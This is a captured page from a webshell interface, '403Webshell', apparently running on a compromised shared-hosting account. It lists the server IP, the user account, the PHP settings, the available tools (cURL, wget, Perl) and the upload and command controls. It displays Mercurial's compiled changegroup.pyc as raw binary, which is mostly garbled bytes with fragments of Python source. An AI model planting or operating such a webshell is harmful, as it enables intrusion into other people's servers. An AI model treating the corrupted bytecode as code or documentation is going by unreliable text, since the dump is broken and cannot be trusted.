403Webshell
Server IP : 74.208.236.16  /  Your IP : 216.73.217.15
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u102440577 ( 7172810)
PHP Version : 8.4.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/lib/python3/dist-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/lib/python3/dist-packages/mercurial/__pycache__/changegroup.cpython-313.pyc
�

6�h�:��B�SSKJr SSKrSSKrSSKrSSKJr SSKJrJ	r	J
r
 SSKJrJ
rJrJrJrJrJrJr SSKJr SSKJr SS	KJr SS
KJr \R<"S5r\R<"S5r \R<"S
5r!\R<"S5r"Sr#\RHr$Sr%Sr&Sr'Sr(S=Sjr)S>Sjr*Sr+Sr,"SS5r-"SS\-5r."SS\.5r/"SS\/5r0"S S!5r1S"r2S#r3S$r4S?S%jr5S&r6S'r7S(r8S@S)jr9S*r:"S+S,5r;SAS-jr<SAS.jr=SAS/jr>SAS0jr?\<\-4\=\.4\>\/4\?\04S1.r@S2rAS3rBS4rCS5rDS6rESBS7jrFS=S8jrGS9rHSCS:jrISDS;jrJS>S<jrKg)E�)�annotationsN�)�_)�hex�nullrev�short)�error�match�mdiff�phases�pycompat�requirements�scmutil�util)�
repository)�sidedata)�	constants)�storageutils20s20s20s20ss20s20s20s20s20ss>20s20s20s20s20sHs>B20s20s20s20s20sHslfsc���[US5n[R"SU5SnUS::a*U(a"[R"[S5U-5eg[XS-
5$)z-return the next chunk from stream as a string��>lr�invalid chunk length %d�)�readexactly�struct�unpackr	�Abortr)�stream�d�ls   �7/usr/lib/python3/dist-packages/mercurial/changegroup.py�getchunkr"/sY���F�A��A��
�
�e�Q���"�A��A�v���+�+�a� :�;�a�?�@�@���v�1�u�%�%rc�6�[R"SUS-5$)z*return a changegroup chunk header (string)rr�r�pack)�lengths r!�chunkheaderr':s���;�;�u�f�q�j�)�)rc�0�[R"SS5$)zBreturn a changegroup chunk header (string) for a zero-length chunkrrr$�rr!�
closechunkr*?s���;�;�u�a� � rc�0�[[U55U-$)z3Obtain a changegroup chunk header for a named path.)r'�len)�paths r!�_fileheaderr.Ds���s�4�y�!�D�(�(rc�D�SnSnU(a(U(aURUS5nO<[USS5nO.[R"SSS9upb[R"US5nUnUHnURU5 M SnUUbUR
5 Ub7U(aU(aURU5 $[R"U5 $$!UbUR
5 Ub7U(aU(aURU5 f[R"U5 ff=f)z�Write chunks to a file and return its filename.

The stream is assumed to be a bundle file.
Existing files will not be overwritten.
If no filename is specified, a temporary file is created.
Nswb�wbis
hg-bundle-s.hg)�prefix�suffix)�openr
�mkstemp�os�fdopen�write�close�unlink)�ui�chunks�filename�vfs�fh�cleanup�fd�cs        r!�writechunksrBIs���
�B��G�#����X�X�h��.���(�D�&�1��#�+�+�=��P�L�B����2�t�$�B����A��H�H�Q�K�����
�>��H�H�J����C��
�
�7�#��	�	�'�"�	���>��H�H�J����C��
�
�7�#��	�	�'�"�	�s
�A<C�ADc��SnUSSU---
nUS-
nSnUbd[U5S-SU--[::deXbR[SU--
5-
n[U[5(a	USU--
nOUS	U--
nS
nOXb-
nUb)Xg-
nSnUceUS-U-nUbUSUU4--
nOUS
U--
nUS-
nURU5 g)z+Print one line of debug_unbundle_debug_infosDEBUG-UNBUNDLING: � ��:rNrs%14.3f seconds�%10ds            �ds (%3d%% of %s)s (%3d%%)�
)r,�_KEY_PART_WIDTH�ljust�
isinstance�float�	write_err)	r:�indent�key�
base_value�percentage_base�percentage_key�line�padding�
percentages	         r!�_dbg_ubdl_linerWls��!�D��D�A��J���D��4�K�C��G����3�x�!�|�q�6�z�*�o�=�=�=��	�	�/�Q��Z�8�9�9���j�%�(�(��%�
�2�2�D��G�j�(�(�D�%�G�����"�������%�%�%��#�%��8�
��%��%���)��
�D�

�K�*�,�,�D��E�M�D��L�L��rc�(�U(dg[U5$)Ng)�sum)�itemss r!�_sumfr[�s�����u�:�rc
�l�/n/n/nSU4SU4SU4/nUH@nUH2upxUSRU5(dM URU5  M9 S5e SU4SU4SU4/n	[US	S
[U55 U	H/up�U(dM[USU
[U5[U55 M1 UVs/sHofSPM	 nnUR	5 [U5n[US	S
U5 U	HJup�U(dMUVs/sHofSPM	 n
nU
R	5 [USU
[U
5U5 ML 0nU	HJup�S	S	S	S	S	S	S	S	S.=X�'nUH0nX�S==S-
ss'US(dMX�SS-==S-
ss'M2 ML SnU(a
[US	S5 U	H]up�U(a
[USU
5 X�nUH:nUU(dMUS-n[USUUU5 [USSUUUU5 M< M_ 0nU	H�up�////////S.=UU
'nUHFnUUSRUS5 US(dM)UUSS-RUS5 MH [
UR55H$unnUR	5 [U5UU'M& M� U(a
[US	S5 U	H`up�U(a
[USU
5 UU
nUnUH:nUU(dMUS-n[USUUUUS5 [USSUUUS5 M< Mb gs snfs snf)z3display an unbundling report from debug informations
CHANGELOG:sMANIFESTLOG:sFILELOG:z
target-revlog�unreachable�	changelog�	manifests�filesr�	revisionsr�durations
total-time)�fullsfull-cached�snapshotssnapshot-cached�deltasdelta-cached�unknownsunknown-cached�typezusing-cached-bases-cached)rcrdrerfs
type-countrE�scacheds	type-timestotalN)�
startswith�appendrWr,�sortr[�listrZ)r:�
debug_info�cl_info�mn_info�fl_info�	_dispatch�er1�info�	each_inforP�
all_durations�total_duration�	durations�
each_types�types�EXPECTED_TYPES�t�tn�tc�each_type_time�t_key�value�tds                        r!�display_unbundle_debug_infor��s����G��G��G�	�� �	�'�"�	�g���I�
��%�L�F���!�,�,�V�4�4����A���&�

(�-�'�5�
�
�w��	�w��	�7���I��2�q�,��J��8��	�����r�1�c�3�t�9�c�*�o�>��-7�7�J�q�z�]�J�M�7������=�)�N��2�q�-��8��	����,0�1�D�q�z�]�D�	�1������r�1�c�5��#3�^�D���J��	����� !���� �	#
�		
�
��%��A��F�)���!���$�%�%���i�*�,�-��2�-��� B�N���r�1�m�,��	����2�q�#�&��O�� �B���u�u��*�_���r�1�b�!�B�%�0��r�1�i��2���"��>�	!�	��N��	����� "����!�	#
�		
��s��a��A�
�a��i�L����*�
�.��$�%�%��!�F�)�j�(�)�0�0��:��?��!�����O�L�E�5��J�J�L��U�|�A�e�H�,��&��r�1�l�+��	����2�q�#�&��3���
�� �B���u�u��*�_���r�1�b�!�B�%��X�>��r�1�i��2���H�E�	!���E8��2s�3L,�L1c���\rSrSrSr\r\RrSr	Sr
SSjrSrSr
S	rS
rSrSrS
rSrSrSrSrSrSSjr\R4SSS4SjrSrSrg)�cg1unpackeri
a�Unpacker for cg1 changegroup streams.

A changegroup unpacker handles the framing of the revision data in
the wire format. Most consumers will want to use the apply()
method to add the changes from the changegroup to a repository.

If you're forwarding a changegroup unmodified to another consumer,
use getchunks(), which returns an iterator of changegroup
chunks. This is mostly useful for cases where you need to know the
data stream has ended by observing the end of the changegroup.

deltachunk() is useful only if you're applying delta data. Most
consumers should prefer apply() instead.

A few other public methods exist. Those are used only for
bundlerepo and some debug commands - their use is discouraged.
�01rNc�B�UcSnU[RR;a"[R"[S5U-5eUS:XaSn[RR
U5nURU5UlX l	U=(d 0Ul
SUlg)N�UNs#unknown stream compression type: %ssBZs_truncatedBZ)r�compengines�supportedbundletypesr	rr�
forbundletype�decompressorreader�_stream�_type�extras�callback)�selfr>�algr��
compengines     r!�__init__�cg1unpacker.__init__"s����;��C��d�&�&�;�;�;��+�+�a� F�G�#�M�N�N��%�<�!�C��%�%�3�3�C�8�
�!�4�4�R�8����
��l������
rc�J�URSL=(a URS:g$)Nr�)r��r�s r!�
compressed�cg1unpacker.compressed2s���z�z��%�=�$�*�*��*=�=rc�8�URRU5$�N)r��read)r�r s  r!r��cg1unpacker.read5s���|�|� � ��#�#rc�8�URRU5$r�)r��seek)r��poss  r!r��cg1unpacker.seek8s���|�|� � ��%�%rc�6�URR5$r�)r��tellr�s r!r��cg1unpacker.tell;s���|�|� � �"�"rc�6�URR5$r�)r�r8r�s r!r8�cg1unpacker.close>s���|�|�!�!�#�#rc��[URS5n[R"SU5SnUS::a*U(a"[R
"[
S5U-5egUR(aUR5 US-
$)Nrrrr)rr�rrr	rrr�)r�rr s   r!�_chunklength�cg1unpacker._chunklengthAsg������a�(���M�M�%��#�A�&����6���k�k�!�$>�"?�!�"C�D�D���=�=��M�M�O��1�u�rc��0$)z*v10 does not have a changelog header chunkr)r�s r!�changelogheader�cg1unpacker.changelogheaderL����	rc��0$)z)v10 does not have a manifest header chunkr)r�s r!�manifestheader�cg1unpacker.manifestheaderPr�rc�h�UR5nU(d0$[URU5nSU0$)zBreturn the header of the filelogs chunk, v10 only has the filename�filename)r�rr�)r�r �fnames   r!�
filelogheader�cg1unpacker.filelogheaderTs3���������I��D�L�L�!�,���U�#�#rc�0�Uup4pVUcUnOUnSnSn	X4XWXhU	4$�Nrr))
r��headertuple�prevnode�node�p1�p2�cs�	deltabase�flags�protocol_flagss
          r!�_deltaheader�cg1unpacker._deltaheader\s5��&���"����I� �I��������>�A�Arc	�.�UR5nU(d0$[URUR5nURRU5n[URX R-
5nUR
XA5nUupgp�p�nXgX�X�U0U4	$r�)r�rr��deltaheadersize�deltaheaderrr�)
r�r�r �
headerdata�header�deltar�r�r�r�r�r�r�s
             r!�
deltachunk�cg1unpacker.deltachunkfs����������I� ����t�/C�/C�D�
��!�!�(�(��4���D�L�L�!�.B�.B�*B�C���"�"�6�4��=C�:��"��N����5�"�n�L�Lrc#�h# �SnUSUR-:a�Sn[U5nU(dUS:aUS-
nOU(aUS-
nOISn[[U55v� SnU[U5:aUS-nX4Uv� UnU[U5:aMMt[	5v� USUR-:aM�gg7f)areturns all the chunks contains in the bundle

Used when you need to forward the binary stream to a file or another
network API. To do so, it parse the changegroup data, otherwise it will
block in case of sshrepo because it don't know the end of the stream.
rrETrFiN)�_grouplistcountr"r'r,r*)r��parts�	noentries�chunkr��nexts      r!�	getchunks�cg1unpacker.getchunksrs����&���a�$�.�.�.�.��I�� ������q�y���
��"���
���!�	�!�#�e�*�-�-����C��J�&���;�D��D�/�)��C��C��J�&�#�*�,��/�a�$�.�.�.�.�s�B	B2�
!B2�0B2c	���URUlUR5 UR5nURRS5n	U	R
UUUUUUS9 UR5 SUlg)Nr��
addrevisioncbrm�delta_base_reuse_policy)�	incrementr�r��	deltaiter�manifestlog�
getstorage�addgroup�complete)
r��repo�revmap�trp�progr�rmr��deltas�storages
          r!�_unpackmanifests�cg1unpacker._unpackmanifests�sv������
�
	
�������!���"�"�-�-�c�2��������'�!�$;�
	�	
�	
�
�
����
rc	�^^,^-^.^/^0^1^2^3^4^5�TR5mSn	TRRSS5(a/n	[RTR;=(d [R
TR;=(a URS:H=(a US:Hn
U
(a([R"TU=(d
 [5SS9nOSnU-U4SjnU-4S	jn
URRS
U5nURRSU5 TR"S,SS0[R"UR5D6 TRm-T-R!U5 [#T-5n[$R&"U5nTRR)[+S
55 [#T-5m.TRR-[+S5[+S5US9nUR.Ul[5m0/m/U.U/4SjnU0U4SjnUR35 UR55nT-R7UUUSUUU	US9(dTRR9SSS9 [#T05n[#T-5nUT.-
nUR;5 ASm0SUl0m50m4TRR)[+S55 TRR-[+S5[+S5US9nSnU(a[<R>US;aU54SjnURATU
UUUU	US9 0nTRRSS5(a�TRm-TRBn[ET.U5HtnT-RGU5RHnUURK5nURM5H/unnURU[55ROU5 M1 Mv SnU(a[<RPUS;aU44SjnTRR)[+S55 [STUU
UUUUU	US9	un n!U(a�[<RTUS;aT-RWX�T.US-
5 T5RM5Hun"un#n$U"RWX�U#U$5 M T4RM5Hun%un#n$U%RWX�U#U$5 M URXRS S!5 URXRS"S!5 URXRS#S!5 URXRS$S!5 TRRZ(dEURXS ==U-
ss'URXS"==U -
ss'URXS#==U!-
ss'S!n&[#T-5n'T-R]UU'5un(m1U&[#T15[#U(5-
-
n&T1H"n)TU)R_5(dMU&S-n&M$ TRRZ(dURXS$==U&-
ss'TRa5 US!:�a�S%UR;ag[cT-ReT.55URS%'[cT-ReUS-
55URS&'[gUR5m2OR[gUR5m2[cT-ReT.55T2S%'[cT-ReUS-
55T2S&'TR"S-SS0[R"T25D6 [ET.U5m,Sn*US';a:TRi5(a[jRl=nn*O[jRn=nn*T,(a[jRp"TX%T,5 U*b5T/(aT/RsT,5 OT,m/[jRt"TUU*/T/S(9 /m/US!:�a%U,U-U.U1U2U4S)jm3URwS*T.-UU34S+j5 U	b[yTRU	5 TRR{5 U&S!:aU&S-
n+U+$U&S-n+U+$!TRR{5 f=f).a�Add the changegroup returned by source.read() to this repo.
srctype is a string like 'push', 'pull', or 'unbundle'.  url is
the URL of the repo where this changegroup is coming from.

Return an integer summarizing the change to this repo:
- nothing changed or no source: 0
- more heads than before: 1+added heads (2..n)
- fewer heads than before: -1-removed heads (-2..-n)
- number of heads stays the same: 1

`sidedata_categories` is an optional set of the remote's sidedata wanted
categories.

`delta_base_reuse_policy` is an optional argument, when set to a value
it will control the way the delta contained into the bundle are reused
when applied in the revlog.

See `DELTA_BASE_REUSE_*` entry in mercurial.revlogutils.constants.
N�debugsunbundling-stats�04spullT)�pullc�h>�TRRS[U5-5 [T5$)Nsadd changeset %s
)r:�debugrr,)�x�clr�s ��r!�csmap� cg1unpacker.apply.<locals>.csmap�s&����G�G�M�M�/�%��(�:�;��r�7�Nrc�&>�TRU5$r���rev)r�r�s �r!r��!cg1unpacker.apply.<locals>.revmap�s����6�6�!�9�rssourcesurl�throwsadding changesets
�
changesets�chunks��unit�totalc�6>�UT:aTRU5 ggr�)rj)r�r��clstart�duprevss  ��r!�ondupchangelog�)cg1unpacker.apply.<locals>.ondupchangelogs�����=��N�N�3�'�!rc�>�URU5nTceTRUR5 TRX5 gr�)�changelogrevision�update�files�register_changeset)r�r��ctx�	efilessetr�s   ��r!�onchangelog�&cg1unpacker.apply.<locals>.onchangelogs?����*�*�3�/�� �,�,�,�� � ����+��'�'��1r)�alwayscacher��duplicaterevisioncbrmr�s(applied empty changelog from changegroupswarn-empty-changegroup)�configsadding manifests
r_rc�r>�TRU5nU(dX4TU'gXSS-:XdeUSU4TU'g�Nrr��get)�manifestr��range�touched_manifestss   �r!�on_manifest_rev�*cg1unpacker.apply.<locals>.on_manifest_revMsJ��� 1� 5� 5�h� ?��$�;>�*�-�h�7�#&��(�Q�,�#6�6�#6�;@��8�S�/�-�h�7rr�sserversvalidatec�r>�TRU5nU(dX4TU'gXSS-:XdeUSU4TU'gr
r)�filelogr�r�touched_filelogss   �r!�on_filelog_rev�)cg1unpacker.apply.<locals>.on_filelog_revosJ��� 0� 4� 4�W� =��$�9<�
�,�W�5�#&��(�Q�,�#6�6�#6�9>�q��3��,�W�5rsadding file changes
schangegroup-count-changesetsrschangegroup-count-revisionsschangegroup-count-filesschangegroup-count-heads�node�	node_last)spushsserve)�revsc��>�T[T	5:�agT	R"S0[R"T5D6 THYnTR	5n[TR
U55US'US	T	R"S0[R"U5D6 M[ T	RRSS[T5SRTVs/sHn[USS5PM sn55 gs snf)	Nrr�incomings$%d incoming changes - new heads: %s
s, �)schangegroup)r)
r,�hookr
�	strkwargs�copyrr�r:�log�join)
�unused_successr��argsrA�addedr�r��heads_added�hookargsr�s
    ������r!�runhooks�#cg1unpacker.apply.<locals>.runhooks�s�����#�d�)�+���I�I�M��0B�0B�8�0L�M�$��'�}�}���(+�B�G�G�C�L�(9��W�
� ��.��	�	�J��1C�1C�D�1I�J�	 %��G�G�K�K�#�@��E�
��
�
��#D��1�C��"�1��J��#D�E�	��$Es�C+schangegroup-runhooks-%020ic�&>�TRT5$r�)�
_afterlock)�trr�r's ��r!�<lambda>�#cg1unpacker.apply.<locals>.<lambda>�s���t���x�8r)sprechangegroup)spretxnchangegroup)>�
unfilteredr:�
configboolr�REVLOGV2_REQUIREMENT�CHANGELOGV2_REQUIREMENT�version�sidedatamod�get_sidedata_helpers�setr&�
setdefaultrr
r�	changelog�delayupdater,�weakref�proxy�statusr�makeprogressr�r�r�r�r��	develwarnr��revlog_constants�KIND_MANIFESTLOGr�r�rr�r
�read_delta_new_entriesrZ�add�KIND_FILELOG�_addchangegroupfiles�KIND_CHANGELOG�rewrite_sidedata�changes�quiet�	diffheads�closesbranch�invalidatevolatilesetsrr��dict�
publishingr�public�draft�registernew�extend�advanceboundary�addpostcloser��flush)6r�r�r+�srctype�url�targetphase�
expectedtotal�sidedata_categoriesr�rm�adding_sidedata�sidedata_helpersr�r��oldrevcountr��progressr�rr��efiles�clend�
changesetsr�	needfiles�ml�cset�mfnode�mfest�f�nr�newrevs�newfiles�mf�startrev�endrev�fl�
deltaheads�newrevcount�
heads_removed�h�phaseall�retr$r�r�r�rr%r&r'rrs6 `                                          @@@@@@@@@@r!�apply�cg1unpacker.apply�s�����<��� ���
��7�7���h�(;�<�<��J��1�1�T�5F�5F�F�M��7�7�4�;L�;L�L�
#�����%�	
#�
�7�"�
	��*�?�?��#�,�s�u�� �� $��	�	�A	�
�k�k�,�,�Y��@�G��K�K�"�"�6�3�/��I�I�!�
�)-�
�19�1C�1C�B�K�K�1P�
����B��N�N�2���b�'�K��-�-��#�C��G�G�N�N�1�3�4�5��"�g�G��w�w�+�+��-� �q��|�=�,��H�%�.�.�D�M���I��G�
(�
2�
� � �"��^�^�%�F��;�;���� �)�$2�%�(?��	����!�!�?�4�"����^�F���G�E����J�������I� �D�M�!#��!��
�G�G�N�N�1�2�3�4��w�w�+�+��,��a�	�l�*�,��H�#�O��#�4�4�8H��8K�K�J�
�!�!�����-�%�(?�
"�
��I��w�w�!�!�)�[�9�9��^�^���%�%��!�'�5�1�D��1�1�$�7�@�@�F��v�J�=�=�?�E� %���
���1�!�,�,�Q���6�:�:�1�=�!.�	2�"�N��#�0�0�4D�Q�4G�G�H�
�G�G�N�N�1�5�6�7� 4�������,�%�(?�
!��G�X� �#�2�2�6F�q�6I�I��'�'��w���	��/@�.E�.E�.G�*�B�*��6��'�'��x��P�/H�.>�.D�.D�.F�*�B�*��6��'�'��x��P�/G�
�J�J�!�!�"A�1�E��J�J�!�!�"@�!�D��J�J�!�!�"<�a�@��J�J�!�!�"<�a�@��7�7�=�=��
�
�:�;�z�I�;��
�
�9�:�g�E�:��
�
�5�6�(�B�6��J��b�'�K�)+���k�;�)O�&�M�;��#�k�*�S��-?�?�?�J� ����7�'�'�)�)��!�O�J�!�
�7�7�=�=��
�
�5�6�*�D�6��'�'�)��A�~��"�+�+�-�+.�r�w�w�w�/?�+@�B�K�K��(�03�B�G�G�E�A�I�4F�0G�B�K�K��-�#�B�K�K�0�H�#�B�K�K�0�H�(+�B�G�G�G�,<�(=�H�W�%�-0�������1C�-D�H�\�*��	�	�(�����(�(��2���'�5�)�E��H��-�-��?�?�$�$�-3�]�]�:�K�(�.4�\�\�9�K�(���"�"�4��%�@��#���N�N�5�)�#�G��&�&�t�R��2�G�L����A�~���,���1�G�;�8���%�+�D�G�G�Z�@��G�G�M�M�O���>��q�.�C��
��q�.�C��
��

�G�G�M�M�O�s�#T"a#�	H,a#�#a?c#�\^^# �Sm[UU4Sj05HnUSSv� USmM g7f)zz
returns an iterator of the deltas in this changegroup

Useful for passing to the underlying storage system to be stored.
Nc�&>�TRT5$r�)r�)�chainr�s��r!r,�'cg1unpacker.deltaiter.<locals>.<lambda>
s���d�o�o�e�&<r�r)�iter)r��	chunkdatarws` @r!r��cg1unpacker.deltaiters5�������<�b�A�I��B�Q�-���a�L�E�B�s�(,)r�r�r�r�r��NNN)�__name__�
__module__�__qualname__�__firstlineno__�__doc__�_CHANGEGROUPV1_DELTA_HEADERr��sizer�r2r�r�r�r�r�r�r8r�r�r�r�r�r�r�r�rrNrsr��__static_attributes__r)rr!r�r�
s����$.�K�!�&�&�O��G��O�� >�$�&�#�$�	���$�B�
M�+�f�� $��F�L�L�� � $�E�N

!rr�c�>�\rSrSrSr\r\RrSr	Sr
Srg)�cg2unpackeriz�Unpacker for cg2 streams.

cg2 streams add support for generaldelta, so the delta header
format is slightly different. All other features about the data
remain the same.
�02c�"�Uup4pVnSnSn	X4XVXxU	4$r�r)�
r�r�r�r�r�r�r�r�r�r�s
          r!r��cg2unpacker._deltaheaders'��&1�#��"���������>�A�Arr)N)r~rr�r�r��_CHANGEGROUPV2_DELTA_HEADERr�r�r�r2r�r�r)rr!r�r�s$���.�K�!�&�&�O��G�Brr�c�`^�\rSrSrSr\r\RrSr	Sr
SrSU4SjjrSr
U=r$)	�cg3unpackeri#z�Unpacker for cg3 streams.

cg3 streams add support for exchanging treemanifests and revlog
flags. It adds the revlog flags to the delta header and an empty chunk
separating manifests and files.
�03rEc��Uup4pVpxSn	X4XVXxU	4$r�r)r�s
          r!r��cg3unpacker._deltaheader0s"��-8�*��"�������>�A�Arc
�n>�[TU]UUUUUUUS9 [UR05H�nUSn	URRSU	-5 UR
5n
URRU	5RU
UUUUUS9(aMj[R"[S55e g)Nr�r��adding %s revisions
s"received dir revlog group is empty)
�superr�rzr�r:r�r�r�r�r�r	rr)r�r�r�r�r�r�rmr�r{rr��	__class__s           �r!r��cg3unpacker._unpackmanifests5s����	�� �����'�!�$;�	!�	
��d�0�0�"�5�I��+�&�A��G�G�M�M�2�Q�6�7��^�^�%�F��#�#�.�.�q�1�:�:����+�%�(?�
;����k�k�!�$I�"J�K�K�6rr)r})r~rr�r�r��_CHANGEGROUPV3_DELTA_HEADERr�r�r�r2r�r�r�r��
__classcell__�r�s@r!r�r�#sA����.�K�!�&�&�O��G��O�B��� $� L� Lrr�c�R^�\rSrSrSr\r\RrSr	Sr
U4SjrSrU=r
$)�cg4unpackeriXzLUnpacker for cg4 streams.

cg4 streams add support for exchanging sidedata.
r�c��Uup4pVpxn	XEXgX�U4$r�r))
r�r�r�r�r�r�r�r�r�r�s
          r!r��cg4unpacker._deltaheaderbs��=H�:��b�i�U����>�A�Arc	�>�[T
U]U5nU(dU$Uu	nnnnnnn	n
nU
(ae0n
U[R-(a+[	UR
5n[R"U5n
UUUUUUU	U
U4	$r�)r�r�r�CG_FLAG_SIDEDATAr"r�r3�deserialize_sidedata)r�r��resr�r�r�r�r�r�r�rr��sidedata_rawr�s             �r!r��cg4unpacker.deltachunkfs�����g� ��*����J�
�
	
������������|����K�8�8�8�#�D�L�L�1�L�"�7�7��E�H�
���������

�
	
rr))r~rr�r�r��_CHANGEGROUPV4_DELTA_HEADERr�r�r�r2r�r�r�r�r�s@r!r�r�Xs/����
.�K�!�&�&�O��G�B�!
�!
rr�c� �\rSrSrSrSrSrg)�headerlessfixupi�c��X lXlgr�)�_h�_fh)r�r>rps   r!r��headerlessfixup.__init__�s�����rc��UR(aYURSUURUSso l[U5U:a%U[URU[U5-
5-
nU$[URU5$r�)r�r,rr�)r�rfrs   r!r��headerlessfixup.read�sf���7�7�����!��d�g�g�a�b�k�J�A�w��1�v��z��[����1�s�1�v�:�6�6���H��4�8�8�Q�'�'r)r�r�N)r~rr�r�r�r�r�r)rr!r�r��s���(rr�c#�^# �URbSURpCO|URUR:Xa,URn[R
"[
U55nO6URn[R"UR[
U55nU"U5n[[
U5[
U5-[
U5-5v� Uv� U(aUv� Uv� UR[R-(a'URn[[
U55v� Uv� gg7f)z0Serialize a revisiondelta to changegroup chunks.Nr)r��basenode�nullid�revisionr�trivialdiffheaderr,�replacediffheader�baserevisionsizer'r�rr�r)r�r��headerfnr1�data�metars       r!�_revisiondeltatochunksr��s����
�{�{���E�K�K��	���4�;�;�	&��~�~���(�(��T��3���~�~���(�(��)?�)?��T��K���E�?�D�
�c�$�i�#�f�+�-��D�	�9�
:�:�
�J�
���
�J����k�:�:�:��>�>���#�h�-�(�(���;�s�D+D-c�&^^�UU4Sjn[XS9$)z&Sort nodes for changegroup generation.c�2>�TRT"U55$r�r�)rfr��lookups ��r!r,�$_sortnodesellipsis.<locals>.<lambda>�s���B�F�F�6�!�9�%r�rP)�sorted)�store�nodesr�r�rPs  `` r!�_sortnodesellipsisr��s���$&�C��%�!�!rc	�j^^^^^^^^�TUn	UUUUUUU4SjmU	(aTRT5[[4:Xa[[p�OD[U	5S:Xa[U4SjU	55un
[nO[U4SjU	55up�TR	U
5TR	U5p�X�U4$)Nc�>�U[:Xa[$T	(aU$U/nU(GaUSnUSSnUT;aTU$UT;a=URTRU5Vs/sHo3[:wdMUPM sn5 O�UT
;a1URT
UVs/sHo3[:wdMUPM sn5 O}[TSS5HnTR	U5U:XdMUs $ [TS5(a
TRnOTRRn[R"SUTU4-5eU(aGM[$s snfs snf)aMTurn a changelog revnum into a local revnum.

The ellipsis dag is stored as revnums on the changelog,
but when we're producing ellipsis entries for
non-changelog revlogs, we need to turn those numbers into
something local. This does that for us, and during the
changelog sending phase will also expand the stored
mappings as needed.
rrN����targets?unable to resolve parent while packing '%s' %r for changeset %r)
rrP�
parentrevsr�linkrev�hasattr�
display_id�_revlogr	r)
�clrev�walk�p�pp�ir�r��clrevtolocalrev�fullclnodes�ischangelog�precomputedellipsisr�r�s
      �������r!�local�)_resolvenarrowrevisioninfo.<locals>.local�sJ����G���N���L��w����Q��A����8�D��O�#�&�q�)�)��k�!����"�-�-��*:�L�*:�B�G�m�R�*:�L�M��)�)����"5�a�"8�J�"8�B�'�M�R�"8�J�� �s�A�r�*�A��}�}�Q�'�5�0� ��+�
�5�(�+�+�"�-�-�F�#�]�]�5�5�F��k�k�)�,2�C��+?�@���G�d�P���EM��Ks�
E�0E�
E�'Erc3�4># �UH
nT"U5v� M g7fr�r)��.0r�r�s  �r!�	<genexpr>�-_resolvenarrowrevisioninfo.<locals>.<genexpr>%s����5��A�u�Q�x�x����c3�4># �UH
nT"U5v� M g7fr�r)r�s  �r!r�r�(s����6�+�Q��a���+�r�)r�rr,r�r�)r�r�r�r�r��linknoder�r�r��linkparentsr�r��p1node�p2noder�s````  ```     @r!�_resolvenarrowrevisioninfor��s����&�g�.�K�C�C�J�5�+�+�C�0�W�g�4F�F��'�B�	�[�	�Q�	��5��5�5���
���6�+�6�6����Z�Z��^�U�Z�Z��^�F��8�#�#rc
#�# �U(dgURn
U(aSnOU(a[XX�5nSnOSnU(a�/n0n0nUHznURU5nU"U5nU
RU5nUUU'UU	;aUUU'O+UU
;aMF[U
UUUUUUU	U
5	unnnUU4UU'UUU'UR	U5 M| UnSnUb-UR
R
U[S5[U5S9nUR
RSS5nUS;a)[S	5nUR
RUU-5 [RnU(a[RnO-US
:Xa[RnOUS:Xa[RnUR!UUSU(+UUUS
9n[#U5H�unnU(aUR%US-5 U(acWUR&nUR&W;aCUUR&unnUUlUUlU=R,[R.-slOU"UR&5nUUlUv� M� U(aUR35 gg7f)aCalculate deltas for a set of revisions.

Is a generator of ``revisiondelta`` instances.

If topic is not None, progress detail will be generated using this
topic name (e.g. changesets, manifests, etc).

See `revlogutil.sidedata.get_sidedata_helpers` for the doc on
`sidedata_helpers`.
Nsstoragesnodesr�r�sdevelsbundle.delta)r�p1rcs0config "devel.bundle.delta" as unknown value: %sr�rcT)�
nodesorder�revisiondata�assumehaveparentrevisions�	deltamoderZrmr)r7r�r�r�rjr:r<rr,r�warnr�CG_DELTAMODE_STD�CG_DELTAMODE_PREV�CG_DELTAMODE_P1�CG_DELTAMODE_FULL�
emitrevisions�	enumerater�r�r�r�r��REVISION_FLAG_ELLIPSISr�r�)r�r�r�r�r��forcedeltaparentprev�topic�ellipsesr�r�r�rZrmr�r��filtered�adjustedparents�	linknodesr�r�r�r�r�r�r\�configtarget�msgr��	revisionsr�r�s                               r!�
deltagroupr�/s����2��	
���B�� �
�	�"�5��<���
��
�������	��D��)�)�D�/�C��d�|�H��f�f�X�&�G�'*�O�G�$��;�&�"*�	�$��� 3�3��
,F�������#��'�
,�(����*0��(8���%�"*�	�$���O�O�D�!�E�H���H����7�7�'�'���)��C��J�(�
���7�7�>�>�(�O�<�L��0�0��G�H�������S�<�'�(��+�+�I���0�0�	�	��	��.�.�	�	��	 ��0�0�	��#�#�
���&.�,��)��$��I�!��+���8���O�O�A��E�"�� ����/�H��}�}��/�!0����!?����"(���"(������*�"C�"C�C����h�m�m�,�H�$�����#,�&������s�JJc�&�SSSSSSSSSSSSSSSS.$)zs"build a "new" debug_info dictionnary

That dictionnary can be used to gather information about the bundle process
r)�revision-total�revision-changelog�revision-manifest�revision-files�
file-count�merge-total�available-delta�available-full�delta-against-prev�
delta-full�delta-against-p1�denied-delta-candeltafn�denied-base-not-available�reused-storage-delta�computed-deltar)r)rr!�make_debug_infor	�s;�������������#$�%&� !���rc�2�SHnX==X-
ss'M g)z�merge the debug information from <other> into <base>

This function can be used to gather lower level information into higher level ones.
)r�r�r�r�r�rrrrrrrrrNr))�base�otherrPs   r!�merge_debug_infor
�s��
�� 	
�	�U�Z��	�!r�c�X�SnUSSU---
nUS-
nUbD[U5S-SU--[::deX�R[SU--
5-
nUSU--
nOX�-
nUb$UceUS-U-n	UbUS	U	UU4--
nOUS
U	--
nU(a	US-
nX�-
nUS-
nURU5 g)z)Print one line of debug_bundle_debug_infosDEBUG-BUNDLING: rDrErFNrrGrHs (%d%% of %s %d)s (%d%%)rI)r,rJrKrN)
r:rOrPrQrRrS�percentage_ref�extrarTrVs
          r!�
_dbg_bdl_liner�s����D��D�A��J���D��4�K�C����3�x�!�|�q�6�z�*�o�=�=�=��	�	�/�Q��Z�8�9�9����*�$�$������"��%�%�%��#�%��8�
��%��'����+��
�D�
�J��+�+�D�������
���E�M�D��L�L��rc��UnUnUnUnSSU4SSU4SSU4/n	[USSUS	5 [US
SUS5 [US
SUS
5 SUS-n
[US
SUSU
S9 US(a[US
SUSUS	5 U	H&up�n
U
